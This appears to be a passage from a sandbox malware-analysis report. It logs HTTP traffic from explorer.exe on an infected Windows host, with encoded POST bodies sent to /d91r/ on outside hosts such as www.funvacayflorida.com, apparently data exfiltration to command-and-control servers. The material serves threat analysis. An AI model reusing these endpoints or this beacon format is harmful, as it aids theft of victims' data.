YExKhb6NQQcLOoIZV9czATv6s8kXu65wvGkpGQ6InHdcNsEbY5JOUTEOZIFHMDmiYgoc1qYsv6Ith9MuxUPbpaMhlT5MNJmLAXCCUESbV8sQ9mdNLzQQV4YF9fzEB1yT6s5IcjI8KkFJ6~Q8HMvR4Ou7G49L-prfyJPJA7kFeXTS8yXv7dCyCoUKg1rWqLC8x2UnnTmaxobZT75fYlB1nx8~oY9yfkBBfCXJrfzjON-(LtbeklC8xffRXZFm4YO1pK696oysKw8gfOEN6oDswTinM6SSYCrR6YmAXTrSsdLEdw13L7TPMGfoOhG(f6KWKjvaSq1V6~WOVApW3CQVqjl0pll4jJrFK9svcr9SfrNafthPL4bRPdus9dxpyQ4PC2ZzhrGlcHoj1LLNFC4yQo17d6Vf2HVv0z3L5ifECDVXWzmy3hPd_VD7Sli(Eokw0LQJPNCmAdcSu6lnvR6INCJp1qpzENBg4Tl6Eu8ulN4F-M63lnX~2U3IN~m(qD9eUB1vtVa5hKIs1p50oDtFTNQuQ8aAR3Tcniv6K9Ycg0zBpf9buia7z0Tp2hW9hTfy0O82firrMtL4RK_1g0f(-uWaYAbWElnnUGdyLxUSZJytiWAlXgNXrgIDAs88SRXnKDtjwqTxjtBXotkyouTSX2zbHj88oUm5FvoqC7F9WxhYqJQpq8O7SFlnRaImes5yU4Jrftnyu50iJAZyFtTktduo7ea(Qjn5HWGnBCfbnANuOLzWUwWQyXe1SrYoMovQC~bX1rNFt3nnwOh0JogbbXNUt8nmcB57sOZH0lpSfnpmFb-LVJl(frzr9Sxb3AONYTChnGcwG(L7kGTy-qyfKkfv59TVKvJnduxfe4cETQTF-ERHEU6eM6-PkzVtNBPOPpByfVhVRVBhvKpk2nKDDzS3PXNI5b9skHcU06kmeOFpnVI1rL5Vco1aU6VA1EfScinPT4Z1JwWFnkG9mAnToapu5Xjiq3KHTskRWrqT3A7UBEjhCzrlgwxgSrhrouc1h5h7PQvy-ZG85gzcEeUPfWxBwY40Y2bsTs195Jsv98NlbSp7dO8PgJuVa7O8LHSAwbJwZuzNg29KVcw4FNwstNnz72B(ALAVq(sLtUtEFZigUujl-rXdUrw3d1nJ0hM1F(yAehbwVCTsmex33DEv1CeizWSkiQj8XzCgKc1n1MTyq(gSrCnAd8h(oHkIO8PuX(fbPalZKF5LN9Fbit0rp6WmhVfEVDQeDmdoSaJvMYmNUpKyCSy9dfgSbNpFZrXUUG9Vp3rBN4N0XElFSgsWpYMTqXn6xzXt1AojQcltFpQeBU5oKXPtyvFZgFE3tpV7cmj0CqxHw3L2SrOa0V7YJxLYJflSTRY3e8T8t~QfjR-XugLiqXG4WyQX-5qxfEObvtN3aURbgA00JPbmMfwxVehl1xp~lTsLC0OgrKQaYEd5w9teAwuMh5FppvpiHSCxpWDmQhVqNA3GwHjLl~wUiKFA6vK5iNKv74P8uWgUgJmVr9OFEyTPzPsCTw4Mg(5zS4g1WPw6qY_ibghX2wXaMhlRNukbtzKCmuys5QAAP~tZUqwFxYFJfQ3SuqOPBG3c2n1Cq0Tm0HEePzjCoDEAAf2vdXF(ll0nJfy5PWl4-HehMQBS9k3Kcv8MpiuEW4xHPZ4cIKrJwY37pT9abI8LLDAzD6RPiFMEH8LL_1WJy~CP32Y54BnjZf3cHufctuge0yenzNYbJIefHukjj(qnmDYTT4a~9VqyuyRn9RThnAL32~QUxXvqU69VtvdkN9utIsKGUl0xFQFnThkEnzLEtLT02jKH323DMUqagkoGvjQyPPD3A417tJbJ5~OMqQtnu6_BIArv4FukZ4AlWm
Mar 20, 2023 15:24:11.454237938 CET	1335	OUT	Data Raw: 55 33 39 71 52 61 74 57 2d 75 4f 68 73 39 59 76 62 75 4b 6b 72 46 2d 31 73 71 45 6b 43 6e 43 4a 50 6f 4b 43 32 54 77 75 78 49 65 63 6b 6e 6b 6b 31 37 4c 6c 72 41 34 43 4f 6c 4a 72 39 5a 5a 57 54 4d 6d 6e 63 5a 47 45 46 4e 4c 72 49 4b 7a 33 56 7e Data Ascii: U39qRatW-uOhs9YvbuKkrF-1sqEkCnCJPoKC2TwuxIecknkk17LlrA4COlJr9ZZWTMmncZGEFNLrIKz3V~iJUpXatv7z-u00I0u4MrM6IjWwDRWoLSU7MMNPYcfV3TRrBM0SXe-jQGbY6gNkjTTxTkF1ilmTmO-2YSE8d38ogpRT5fevHhA14XgDm(PTKFeRCxEcGQ-JZVj79d-~aUXTY(dRP7XuffyyYIP3drY4xC-yMYOKTyS
Mar 20, 2023 15:24:11.483515024 CET	1338	OUT	Data Raw: 4e 7e 65 76 34 41 46 59 41 53 59 6c 39 42 2d 64 52 5a 39 46 75 47 2d 46 32 4b 39 65 63 56 46 38 52 66 59 67 35 57 61 4e 46 4e 38 39 68 73 77 61 72 75 33 34 42 6c 7a 79 46 68 68 54 72 36 53 39 73 41 39 62 36 42 6d 4f 46 33 4e 7e 77 6e 43 58 38 49 Data Ascii: N~ev4AFYASYl9B-dRZ9FuG-F2K9ecVF8RfYg5WaNFN89hswaru34BlzyFhhTr6S9sA9b6BmOF3N~wnCX8IKAC~-TUyQ7RXovQr7erYMqC~lMJFLFdM8UIwXAIF1X_hK(m9GleTAPptMgTwQGI16IPW34Q~aVnUKK7ngMkwsRVo_k_dub9qVkerlLU8dJYFOuIveW1vWn0ZxyU1PRpS1eSjFLnrmlca4EjQSsJFbhSVbBoGGsIq0
Mar 20, 2023 15:24:11.483617067 CET	1343	OUT	Data Raw: 79 50 71 70 37 63 54 48 59 6f 51 35 33 50 56 57 38 76 43 28 54 4b 4f 58 59 51 34 53 76 39 6c 4e 51 73 6c 63 64 6e 44 4d 72 79 37 74 50 37 5a 46 61 48 39 64 75 4f 6f 6c 78 30 31 61 32 54 59 7e 79 36 48 38 78 61 6c 73 34 52 4a 74 5f 4f 70 71 76 50 Data Ascii: yPqp7cTHYoQ53PVW8vC(TKOXYQ4Sv9lNQslcdnDMry7tP7ZFaH9duOolx01a2TY~y6H8xals4RJt_OpqvPicRSx3xZibGmp9i9YPndtRLRo8RUdAEM6T6qlkyIHCNTf3FgMiCDgInqkFZdO4lkNsyAQwUNOiffJW28MlTndBm~nVGi1fQ(IFlSl1f3NOCrrLuJNN3o_konIT4arjVaqB3H53gQj15EH0a0XrYpJcko7RvqzW4j6
Mar 20, 2023 15:24:11.483675003 CET	1346	OUT	Data Raw: 57 4c 57 57 4a 58 32 6a 64 7a 4b 67 68 36 47 73 45 55 4d 4c 4b 54 4b 56 78 36 66 49 69 4a 63 71 65 6c 37 36 4b 46 47 4a 55 4a 4b 57 75 7e 32 32 75 4e 65 4a 4e 39 57 46 63 7e 6d 7e 32 4b 45 52 4e 4f 38 79 49 7a 54 51 70 46 4a 7e 68 58 71 6d 6d 55 Data Ascii: WLWWJX2jdzKgh6GsEUMLKTKVx6fIiJcqel76KFGJUJKWu~22uNeJN9WFc~m~2KERNO8yIzTQpFJ~hXqmmUhrcS_3pTDHt2CQhlk7uoZzZJ5NY8-z8caCfzTMkhYwrfOQ56qcX21sIUKjuqJe4e9Vi3WN-iWDLlKaZodjfIoNcP-vPIEtcMjFGVoxgGZJ0yULyXT880BZKDEIQK0GbiEeJJAroDwGVOoFi1OtO6joYn5cvOKUZD6
Mar 20, 2023 15:24:11.483880043 CET	1360	OUT	Data Raw: 36 7e 47 71 42 67 76 4d 65 42 52 66 4a 61 53 43 50 37 7a 31 52 6b 73 34 7a 37 59 38 67 6b 7a 69 63 76 6f 74 64 6c 50 6e 6f 7a 45 5a 32 6f 76 6a 42 64 66 34 4f 74 30 6b 62 74 75 48 56 51 4b 30 5a 64 2d 44 4d 7e 38 46 77 37 4c 7a 5f 4f 46 6f 64 71 Data Ascii: 6~GqBgvMeBRfJaSCP7z1Rks4z7Y8gkzicvotdlPnozEZ2ovjBdf4Ot0kbtuHVQK0Zd-DM~8Fw7Lz_OFodqRQzrBwfVGWvu1MrLrYAuVi8fIQt7YvEGh0pfT8DFUWKAGVk~PK9eyO3sE5QYXXOXQWPAJCwdDINb4kY1Bd2P_IHSgfSUjcR2UP5oH1SUAfGb_w2QO3Sg7h-VeoRe2I-fnI3B3nmnyh-ph7ihLDCu2(VQ5zbn5NTLM
Mar 20, 2023 15:24:11.483972073 CET	1360	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 20 Mar 2023 14:24:11 GMT Content-Type: text/html Content-Length: 146 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Mar 20, 2023 15:24:11.484019995 CET	1362	OUT	Data Raw: 48 79 67 37 30 48 46 49 38 4f 4e 6f 56 78 33 71 42 75 46 63 4d 53 6a 6e 34 62 7a 77 63 57 6d 37 2d 4d 67 30 31 62 42 77 69 39 58 50 6c 6a 75 72 59 7a 4b 65 71 77 53 7a 6c 52 64 6a 77 34 71 6a 48 68 52 41 5a 6e 61 70 50 38 49 61 7a 31 5f 36 47 4f Data Ascii: Hyg70HFI8ONoVx3qBuFcMSjn4bzwcWm7-Mg01bBwi9XPljurYzKeqwSzlRdjw4qjHhRAZnapP8Iaz1_6GODuByB5MeDdV(OnW9uxeN5JrBeYNz5fOD3z7vPPf1qPy~1OAOqnYT-g_L_9_WpDSjHahh_PlWVrFfcyg5wOvbLeTCDS19ApDQvE1uyQJp66vZsIOS-9W42zC85DS7hd0S2CSj2VpxW5aIUjZUKUV~hT4EIGaMTjDd9
Mar 20, 2023 15:24:11.512721062 CET	1368	OUT	Data Raw: 6c 38 61 65 53 38 69 34 63 6d 76 65 4f 7a 67 45 74 64 45 4f 4f 44 45 52 65 68 37 4c 54 4b 55 53 30 6e 4b 44 42 73 5a 53 70 6f 6b 35 39 53 62 62 30 77 43 6e 6c 41 66 53 51 34 64 32 42 4f 38 32 65 54 38 59 30 51 44 79 74 37 32 57 6e 28 34 41 6c 57 Data Ascii: l8aeS8i4cmveOzgEtdEOODEReh7LTKUS0nKDBsZSpok59Sbb0wCnlAfSQ4d2BO82eT8Y0QDyt72Wn(4AlWxCuNebfYSJx6M7KJCzuEPxMqKRkVjQXLeOIryvySp(vPjkECMhb~Tyo2myJwy83rnEs5I3E6UEefnzMMDmrlDBShC~6tJYnxXz9eNKBqVnEqXQsdtFO0iGaGv2otCOltV2AHm~MzDXtBEY2owzh0zrrf3CT6rE1Bg
Mar 20, 2023 15:24:11.512814045 CET	1372	OUT	Data Raw: 54 74 4f 51 65 73 41 33 4e 75 34 6f 78 6f 48 49 30 76 67 73 6c 36 72 52 74 6b 57 72 6a 4e 52 4a 7a 50 54 5a 6d 6d 5f 71 6a 49 39 36 6c 38 61 30 58 6f 6e 32 39 53 30 63 63 46 6e 79 36 48 4f 72 63 5a 5a 4c 4c 75 31 55 32 37 71 45 2d 38 79 4b 52 42 Data Ascii: TtOQesA3Nu4oxoHI0vgsl6rRtkWrjNRJzPTZmm_qjI96l8a0Xon29S0ccFny6HOrcZZLLu1U27qE-8yKRBf(OF-LIDJM4IsqwI06kH4(K24N1TgrljpFWYi2Y(mgVcXi9kTc2SAg6qwqZSdht8fu3GkdKMqJfSJarbfn2IxzGN85ZKN7G15enlCJ8EYig5DyHu43EEV3Lm7ufQyneRmLwDXG4~bZ8OED09SamPdoA1arcObO79-
Mar 20, 2023 15:24:11.513056993 CET	1375	OUT	Data Raw: 57 71 41 62 33 59 68 68 78 76 4c 75 46 62 69 57 43 41 76 30 58 4b 33 50 35 6b 6c 35 31 5a 44 76 64 28 6f 4d 73 4b 6e 54 43 4a 52 4f 49 43 6a 42 46 39 49 68 72 68 53 37 4c 58 55 31 71 4d 37 36 70 4b 41 4f 52 4a 53 67 4a 6d 6a 79 77 62 49 68 4e 6d Data Ascii: WqAb3YhhxvLuFbiWCAv0XK3P5kl51ZDvd(oMsKnTCJROICjBF9IhrhS7LXU1qM76pKAORJSgJmjywbIhNmm6QS5AkppfSYvvmzMats85TUyiLj6HEtd78zy9ehbUUgL~N7PBq9G3z0cbS2e0vaYPD9MJobrgaRuU2A7x1FnFKXbDD(Mjpb1jA41AXLk5MqyD0UJnrDOPRmFXSlJM1pbsWc_~9(cL4Mie0wpYH(rphllH5d3VI9N
Mar 20, 2023 15:24:11.513252020 CET	1375	OUT	Data Raw: 33 36 63 37 2d 7a 55 66 6d 65 51 4b 46 42 47 43 34 6f 59 7a 48 45 4e 41 31 66 57 52 42 68 43 72 49 6e 7a 64 77 6b 79 6e 50 49 33 41 67 67 4c 62 52 58 31 6d 6c 63 43 49 2d 45 41 78 71 73 75 72 55 6a 63 6a 31 45 5a 33 38 42 49 75 56 6f 5a 41 6f 50 Data Ascii: 36c7-zUfmeQKFBGC4oYzHENA1fWRBhCrInzdwkynPI3AggLbRX1mlcCI-EAxqsurUjcj1EZ38BIuVoZAoPITWID4wtWwAxyFsUXPO2ehJ1_GNRa7Mud2pLRLMdxK4NPxEpfd1TV937K~wQgB-wDCZ5xVLoJrvd20lAp66Zt11UF2kV67xo24SrAOSZ6Ywq3d5i1ZYyzOb6stKaH6aE6ekJSk-wjI0TG9LQizQgLX1TAAFudPCTG

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
53	192.168.11.20	49909	2.57.90.16	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Mar 20, 2023 15:24:14.014424086 CET	1376	OUT	GET /d91r/?pO=hOvML0SIJI9mj/fVfRhHepYZOU2m/dN5Na3UVct1YKAZzOLDbZKzqMpLuDmWZppR8Dfu1BJtX3CBTvv/fKLJ92Wtoj7W2JzMDw==&8H7gL=Bxcfm_qbbEGm HTTP/1.1 Host: www.eta-trader.net Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Mar 20, 2023 15:24:14.048507929 CET	1377	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 20 Mar 2023 14:24:14 GMT Content-Type: text/html Content-Length: 146 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
54	192.168.11.20	49910	208.91.197.91	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Mar 20, 2023 15:24:19.464874029 CET	1378	OUT	POST /d91r/ HTTP/1.1 Host: www.funvacayflorida.com Connection: close Content-Length: 184 Cache-Control: no-cache Origin: http://www.funvacayflorida.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.funvacayflorida.com/d91r/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 70 4f 3d 45 53 77 63 39 44 46 35 28 4e 58 36 57 51 75 31 4b 4d 56 63 35 54 58 31 72 45 55 68 55 79 38 53 6d 4d 77 75 4a 5a 4e 74 6f 73 63 34 72 35 76 41 36 78 4a 52 47 43 69 62 6f 65 65 56 64 6c 49 7a 39 49 33 6b 7e 51 62 6e 4e 71 73 6c 30 48 62 70 49 61 6d 48 30 74 42 5a 72 46 33 74 4d 63 6f 56 67 64 30 32 76 54 38 5a 52 56 72 63 54 33 45 67 44 33 4f 39 79 6d 50 46 4f 62 4e 4b 55 6b 37 6e 36 55 56 6b 44 4c 6e 45 53 48 64 4c 55 79 6f 79 37 39 49 75 35 61 45 6c 45 6f 58 5a 64 32 38 52 66 67 32 79 75 49 6e 6a 4a 6e 53 4c 6e 61 4b 33 43 67 29 2e 00 00 00 00 00 00 00 00 Data Ascii: pO=ESwc9DF5(NX6WQu1KMVc5TX1rEUhUy8SmMwuJZNtosc4r5vA6xJRGCiboeeVdlIz9I3k~QbnNqsl0HbpIamH0tBZrF3tMcoVgd02vT8ZRVrcT3EgD3O9ymPFObNKUk7n6UVkDLnESHdLUyoy79Iu5aElEoXZd28Rfg2yuInjJnSLnaK3Cg).

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
55	192.168.11.20	49911	208.91.197.91	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Mar 20, 2023 15:24:22.074193954 CET	1379	OUT	POST /d91r/ HTTP/1.1 Host: www.funvacayflorida.com Connection: close Content-Length: 524 Cache-Control: no-cache Origin: http://www.funvacayflorida.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.funvacayflorida.com/d91r/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 70 4f 3d 45 53 77 63 39 44 46 35 28 4e 58 36 55 7a 6d 31 4d 74 56 63 37 7a 58 36 75 45 55 68 42 43 38 4f 6d 4d 38 75 4a 64 56 39 70 65 49 34 72 63 4c 41 35 31 64 52 46 43 69 62 67 2d 65 4d 43 56 49 34 39 49 7a 47 7e 52 4c 6e 4e 71 6f 6c 6d 6c 44 70 5a 61 6d 41 38 4e 42 57 73 46 33 75 48 38 6f 62 67 64 34 71 76 54 59 5a 53 6d 76 63 42 46 63 67 4a 44 61 2d 32 47 50 44 49 62 4e 46 66 45 37 68 36 55 4a 47 44 4b 44 79 53 52 39 4c 56 53 49 79 36 39 49 74 7a 71 45 69 4d 49 57 37 51 30 35 7a 58 42 4b 64 34 4c 6e 65 4e 55 50 6d 76 4a 54 62 51 56 6c 76 4a 42 76 30 75 33 50 4d 4a 4e 75 31 39 65 50 4b 7a 70 35 79 57 44 39 57 4f 59 35 4d 70 72 30 6d 5a 4e 35 73 33 56 34 52 56 6e 52 77 74 4e 43 31 4d 6d 62 47 30 79 30 50 37 67 6b 74 54 44 5a 53 68 42 74 32 45 58 33 50 63 45 74 55 35 4a 52 65 41 6a 76 64 44 39 43 6b 5a 6e 76 34 4e 31 38 44 58 58 56 4b 72 54 46 30 31 52 6b 70 50 33 59 66 71 6c 44 6a 30 76 4b 55 6e 64 4c 79 6b 52 7a 4a 42 45 78 6c 6a 48 57 53 58 4c 58 30 38 71 30 34 7a 36 4c 4e 38 74 64 37 4d 66 6c 69 28 50 30 6d 38 4d 59 51 43 36 44 73 4f 58 75 30 6b 42 68 79 5a 66 7a 34 47 6d 6d 53 50 42 76 5f 50 41 67 69 46 37 38 5a 4b 64 71 55 57 5f 71 72 78 4d 73 59 37 7a 7e 76 73 51 28 46 31 59 6e 7a 70 33 6f 72 75 34 52 66 69 75 6d 41 78 63 6a 4f 69 34 30 5a 79 5f 6c 34 74 58 48 49 62 78 7e 70 55 68 35 53 4e 69 4b 6c 48 55 75 58 69 76 6a 39 4d 50 76 48 36 73 65 32 67 38 79 37 4d 43 39 63 63 30 46 57 58 6e 48 72 6b 72 4b 43 74 36 6f 35 48 66 4d 62 43 34 32 38 6c 6c 6e 72 77 52 67 6b 65 43 50 38 65 35 73 56 39 75 7a 63 66 30 6c 45 75 53 6b 30 4a 54 30 2e 00 00 00 00 00 00 00 00 Data Ascii: pO=ESwc9DF5(NX6Uzm1MtVc7zX6uEUhBC8OmM8uJdV9peI4rcLA51dRFCibg-eMCVI49IzG~RLnNqolmlDpZamA8NBWsF3uH8obgd4qvTYZSmvcBFcgJDa-2GPDIbNFfE7h6UJGDKDySR9LVSIy69ItzqEiMIW7Q05zXBKd4LneNUPmvJTbQVlvJBv0u3PMJNu19ePKzp5yWD9WOY5Mpr0mZN5s3V4RVnRwtNC1MmbG0y0P7gktTDZShBt2EX3PcEtU5JReAjvdD9CkZnv4N18DXXVKrTF01RkpP3YfqlDj0vKUndLykRzJBExljHWSXLX08q04z6LN8td7Mfli(P0m8MYQC6DsOXu0kBhyZfz4GmmSPBv_PAgiF78ZKdqUW_qrxMsY7z~vsQ(F1Ynzp3oru4RfiumAxcjOi40Zy_l4tXHIbx~pUh5SNiKlHUuXivj9MPvH6se2g8y7MC9cc0FWXnHrkrKCt6o5HfMbC428llnrwRgkeCP8e5sV9uzcf0lEuSk0JT0.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
56	192.168.11.20	49913	208.91.197.91	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Mar 20, 2023 15:24:24.684920073 CET	1392	OUT	POST /d91r/ HTTP/1.1 Host: www.funvacayflorida.com Connection: close Content-Length: 51812 Cache-Control: no-cache Origin: http://www.funvacayflorida.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.funvacayflorida.com/d91r/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 70 4f 3d 45 53 77 63 39 44 46 35 28 4e 58 36 55 7a 6d 31 4d 74 56 63 37 7a 58 36 75 45 55 68 42 43 38 4f 6d 4d 38 75 4a 64 56 39 70 65 51 34 72 71 58 41 37 58 31 52 45 43 69 62 75 65 65 4a 43 56 49 6c 39 4f 62 43 7e 52 48 64 4e 6f 67 6c 6d 7a 54 70 5a 73 61 41 35 4e 42 58 6a 6c 33 73 4d 63 6f 78 67 64 30 2d 76 51 6c 75 52 56 7a 63 54 79 67 67 44 55 6d 39 30 57 50 46 49 62 4e 5a 62 45 36 65 36 55 4e 57 44 50 62 79 53 58 31 4c 56 6b 4d 79 34 75 77 74 7e 61 45 68 43 6f 57 77 5a 55 35 76 58 42 65 4a 34 4c 6e 4f 4e 57 6a 6d 76 4f 66 62 52 57 4e 73 49 68 76 30 74 33 50 50 66 39 69 78 39 65 69 66 7a 6f 4e 79 57 45 42 57 42 59 35 4d 6a 70 4d 35 5a 74 35 71 7a 56 34 4b 43 33 74 34 74 4e 57 4c 4d 6e 76 47 30 69 67 50 39 48 77 74 52 69 5a 53 73 42 74 34 4b 33 32 56 57 6b 74 51 35 50 77 69 41 69 50 4e 44 5f 75 6b 5a 47 50 34 49 55 38 41 58 33 56 45 31 6a 45 75 6d 42 67 66 50 33 49 62 71 6c 44 7a 30 75 4f 55 6b 74 62 79 6a 67 7a 4b 41 30 78 69 70 58 58 49 64 72 62 45 38 75 73 77 7a 37 44 64 38 73 5a 37 4f 5f 6c 69 36 6f 67 6c 79 38 59 58 4e 61 43 7a 4b 58 75 6a 6b 42 39 45 5a 65 6d 46 42 58 36 53 4f 78 28 5f 4b 51 67 6c 51 72 39 65 45 39 71 61 42 50 71 72 78 4d 67 32 37 7a 79 76 73 6c 62 46 6e 36 28 7a 35 56 41 72 69 59 52 6a 69 75 6e 65 78 63 76 39 69 34 4d 6a 79 2d 31 65 74 52 58 49 56 45 53 70 48 51 35 64 62 43 4b 67 44 55 75 62 6d 76 76 6d 4d 4a 4c 50 36 73 76 44 67 75 6d 37 57 43 74 63 59 30 46 58 54 48 48 73 79 37 4b 59 70 36 55 31 48 66 41 6c 43 37 71 73 6c 6e 33 72 78 56 42 48 42 67 50 2d 46 6f 41 73 37 61 7a 74 51 6b 39 32 30 54 6f 77 51 58 70 57 63 77 55 77 33 68 72 34 63 35 61 47 73 61 30 79 74 5a 6d 74 6d 32 4c 6d 65 43 4c 64 35 6c 38 46 42 34 6e 6d 4c 54 6a 75 35 79 53 58 67 4e 6f 61 75 6e 72 74 6a 6c 6f 6a 56 4a 50 4b 55 5f 7a 44 45 5a 35 7a 6a 68 32 72 33 55 4c 79 30 4d 69 76 61 74 4e 78 77 31 7e 72 33 43 63 63 30 52 33 48 58 64 59 39 54 7a 6c 30 62 52 75 5f 77 65 4f 34 6a 6c 63 76 4c 68 54 52 6c 49 42 61 4b 35 5a 33 6b 37 33 64 35 47 74 6a 49 6e 59 59 4a 75 38 6e 71 35 6f 7a 30 50 4e 2d 34 36 45 4c 74 61 43 59 42 33 55 66 74 39 4d 36 69 7a 78 37 28 45 31 75 55 67 48 6e 6d 64 38 52 36 32 5a 76 66 39 64 47 58 4b 57 73 41 72 71 6d 33 71 28 50 73 4f 48 59 6e 32 62 74 71 4e 70 70 57 2d 30 6b 44 41 56 78 68 39 30 4b 46 63 39 69 78 6f 6a 56 68 75 43 44 42 6a 53 41 73 75 56 52 53 51 54 4a 77 72 31 71 7a 75 31 56 48 51 59 39 62 42 7e 44 74 78 32 59 33 4f 4e 38 44 4d 72 46 5a 74 63 52 4b 6f 74 6e 44 5a 4b 56 48 6a 71 38 77 4d 31 67 4f 70 6a 54 41 58 56 2d 6d 59 71 31 33 2d 6d 47 50 4e 71 2d 36 4b 6a 30 68 69 66 48 38 32 33 6f 61 6d 5a 6e 47 45 68 55 47 66 4f 66 58 49 7e 53 66 4c 55 76 7a 6f 4b 51 34 73 6f 39 44 77 4e 46 70 58 76 34 6b 57 74 78 75 53 7e 6e 77 37 33 37 66 6f 4d 66 38 7a 7e 6b 31 46 68 5f 50 44 36 4a 31 2d 4b 7a 61 6a 4d 69 71 7a 59 37 61 67 5a 75 4d 77 65 74 31 65 4a 61 70 32 76 57 59 35 43 52 32 43 62 41 39 33 57 7a 36 62 4e 73 63 46 68 6c 57 54 56 4e 67 63 73 4e 39 61 36 59 71 58 67 62 55 4b 50 31 46 66 5a 4b 6c 30 74 6e 44 4b 4e 5a 56 6e 72 6a 70 79 6f 65 4e 54 77 63 71 4d 72 50 6b 4b 68 37 39 43 53 77 6a 69 4c 69 70 77 4a 74 4f 71 28 33 78 72 41 66 4d 37 32 56 4d 35 65 58 39 5f 66 4d 47 52 48 53 36 39 6f 2d 7a 74 62 6e 68 4a 49 41 59 4e 4b 47 59 35 4a 7a 6d 70 4b 41 51 44 44 73 38 4c 58 6d 44 38 47 58 6e 5a 55 78 74 5f 31 6d 58 79 31 6c 37 30 41 46 70 44 55 57 7e 58 67 76 6b 6d 39 69 6b 56 6e 71 68 77 67 6c 78 45 75 74 59 32 4e 6c 75 46 31 57 50 77 39 62 75 35 52 61 43 77 6c 65 73 59 65 48 5a 41 37 77 77 64 33 74 55 35 39 35 34 6a 39 56 69 57 6c 57 75 34 69 39 57 2d 6a 55 71 42 36 79 61 64 70 70 75 43 4e 78 4b 71 49 64 6d 69 53 45 31 69 45 44 64 52 65 74 4e 56 69 32 55 50 55 6d 51 67 36 79 4d 65 4a 5f 56 52 53 63 71 41 57 51 57 53 4d 32 50 56 59 34 71 66 56 56 74 4b 5a 35 4c 70 66 4d 4c 52 72 6e 57 41 67 2d 51 44 56 6d 33 38 78 34 34 39 30 79 42 6e 53 35 34 50 6a 53 67 66 79 6a 41 53 63 7a 31 6c 5a 75 41 56 55 67 50 6f 61 31 59 52 68 4e 75 33 31 44 4e 32 34 6a 36 6b 6e 6d 4d 53 31 35 75 6c 36 33 61 78 51 69 72 66 43 56 4f 75 64 44 30 49 38 44 38 6d 48 61 71 78 69 36 42 68 65 4d 79 68 6d 38 6f 42 66 4c Data Ascii: pO=ESwc9DF5(NX6Uzm1MtVc7zX6uEUhBC8OmM8uJdV9peQ4rqXA7X1RECibueeJCVIl9ObC~RHdNoglmzTpZsaA5NBXjl3sMcoxgd0-vQluRVzcTyggDUm90WPFIbNZbE6e6UNWDPbySX1LVkMy4uwt~aEhCoWwZU5vXBeJ4LnONWjmvOfbRWNsIhv0t3PPf9ix9eifzoNyWEBWBY5MjpM5Zt5qzV4KC3t4tNWLMnvG0igP9HwtRiZSsBt4K32VWktQ5PwiAiPND_ukZGP4IU8AX3VE1jEumBgfP3IbqlDz0uOUktbyjgzKA0xipXXIdrbE8uswz7Dd8sZ7O_li6ogly8YXNaCzKXujkB9EZemFBX6SOx(_KQglQr9eE9qaBPqrxMg27zyvslbFn6(z5VAriYRjiunexcv9i4Mjy-1etRXIVESpHQ5dbCKgDUubmvvmMJLP6svDgum7WCtcY0FXTHHsy7KYp6U1HfAlC7qsln3rxVBHBgP-FoAs7aztQk920TowQXpWcwUw3hr4c5aGsa0ytZmtm2LmeCLd5l8FB4nmLTju5ySXgNoaunrtjlojVJPKU_zDEZ5zjh2r3ULy0MivatNxw1~r3Ccc0R3HXdY9Tzl0bRu_weO4jlcvLhTRlIBaK5Z3k73d5GtjInYYJu8nq5oz0PN-46ELtaCYB3Uft9M6izx7(E1uUgHnmd8R62Zvf9dGXKWsArqm3q(PsOHYn2btqNppW-0kDAVxh90KFc9ixojVhuCDBjSAsuVRSQTJwr1qzu1VHQY9bB~Dtx2Y3ON8DMrFZtcRKotnDZKVHjq8wM1gOpjTAXV-mYq13-mGPNq-6Kj0hifH823oamZnGEhUGfOfXI~SfLUvzoKQ4so9DwNFpXv4kWtx